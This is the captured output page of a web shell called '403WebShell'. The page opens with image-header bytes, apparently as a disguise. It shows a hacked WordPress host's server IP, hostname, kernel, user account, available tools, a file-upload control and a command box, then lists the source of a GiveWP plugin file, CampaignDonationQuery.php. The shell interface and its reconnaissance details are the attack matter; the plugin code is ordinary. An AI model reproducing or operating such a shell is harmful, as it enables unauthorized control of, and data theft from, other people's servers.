????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.48.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/./pontiacques.org/wp-content/plugins/give/src/Campaigns/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/./pontiacques.org/wp-content/plugins/give/src/Campaigns/CampaignDonationQuery.php
<?php

namespace Give\Campaigns;

use DateTimeInterface;
use Give\Campaigns\Models\Campaign;
use Give\Donations\ValueObjects\DonationMetaKeys;
use Give\Framework\QueryBuilder\JoinQueryBuilder;
use Give\Framework\QueryBuilder\QueryBuilder;

/**
 * @since 4.0.0
 */
class CampaignDonationQuery extends QueryBuilder
{
    /**
     * @since 4.0.0
     */
    public function __construct(Campaign $campaign)
    {
        $this->from('posts', 'donation');
        $this->where('post_type', 'give_payment');

        // Include only valid statuses
        $this->whereIn('donation.post_status', ['publish', 'give_subscription']);

        // Include only current payment "mode"
        $this->joinDonationMeta(DonationMetaKeys::MODE, 'paymentMode');
        $this->where('paymentMode.meta_value', give_is_test_mode() ? 'test' : 'live');

        // Include only forms associated with the Campaign.
        $this->joinDonationMeta(DonationMetaKeys::CAMPAIGN_ID, 'campaignId');
        $this->where('campaignId.meta_value', $campaign->id);
    }

    /**
     * @since 4.0.0
     */
    public function between(DateTimeInterface $startDate, DateTimeInterface $endDate): self
    {
        $query = clone $this;
        $query->whereBetween(
            'donation.post_date',
            $startDate->format('Y-m-d H:i:s'),
            $endDate->format('Y-m-d H:i:s')
        );
        return $query;
    }

    /**
     * Returns a calculated sum of the intended amounts (without recovered fees) for the donations.
     *
     * @since 4.0.0
     *
     * @return int|float
     */
    public function sumIntendedAmount()
    {
        $query = clone $this;
        $query->joinDonationMeta(DonationMetaKeys::AMOUNT, 'amount');
        $query->joinDonationMeta('_give_fee_donation_amount', 'intendedAmount');
        return $query->sum(
            /**
             * The intended amount meta and the amount meta could either be 0 or NULL.
             * So we need to use the NULLIF function to treat the 0 values as NULL.
             * Then we coalesce the values to select the first non-NULL value.
             * @link https://github.com/impress-org/givewp/pull/7411
             */
            'COALESCE(NULLIF(intendedAmount.meta_value,0), NULLIF(amount.meta_value,0), 0)'
        );
    }

    /**
     * @since 4.0.0
     */
    public function countDonations(): int
    {
        $query = clone $this;
        return $query->count('donation.ID');
    }

    /**
     * @since 4.0.0
     */
    public function countDonors(): int
    {
        $query = clone $this;
        $query->joinDonationMeta(DonationMetaKeys::DONOR_ID, 'donorId');
        return $query->count('DISTINCT donorId.meta_value');
    }

    /**
     * @since 4.0.0
     */
    public function getOldestDonationDate()
    {
        $query = clone $this;
        $query->select('DATE(donation.post_date) as date_created');
        $query->orderBy('donation.post_date', 'ASC');
        $query->limit(1);
        $result = $query->get();

        if (!$result) {
            return null;
        }

        return $result->date_created;
    }

    /**
     * @since 4.0.0
     */
    public function getDonationsByDate($groupBy = 'DATE'): array
    {
        $query = clone $this;

        $query->joinDonationMeta(DonationMetaKeys::AMOUNT, 'amount');
        $query->joinDonationMeta('_give_fee_donation_amount', 'intendedAmount');
        $query->select(
            'SUM(COALESCE(NULLIF(intendedAmount.meta_value,0), NULLIF(amount.meta_value,0), 0)) as amount'
        );

        $query->select('YEAR(donation.post_date) as year');
        $query->select('MONTH(donation.post_date) as month');
        $query->select('DAY(donation.post_date) as day');
        $query->select("DATE(donation.post_date) as date_created");

        if ($groupBy === 'DAY') {
            $query->groupBy('DATE(date_created)');
        } else if ($groupBy === 'MONTH') {
            $query->groupBy('YEAR(donation.post_date), MONTH(donation.post_date)');
        } elseif ($groupBy === 'YEAR') {
            $query->groupBy('YEAR(donation.post_date)');
        } else {
            $query->groupBy("$groupBy(donation.post_date)");
        }

        return $query->getAll();
    }

    /**
     * An opinionated join method for the donation meta table.
     * @since 4.0.0
     */
    public function joinDonationMeta($key, $alias): self
    {
        $this->join(function (JoinQueryBuilder $builder) use ($key, $alias) {
            $builder
                ->leftJoin('give_donationmeta', $alias)
                ->on('donation.ID', $alias . '.donation_id')
                ->andOn($alias . '.meta_key', $key, true);
        });
        return $this;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit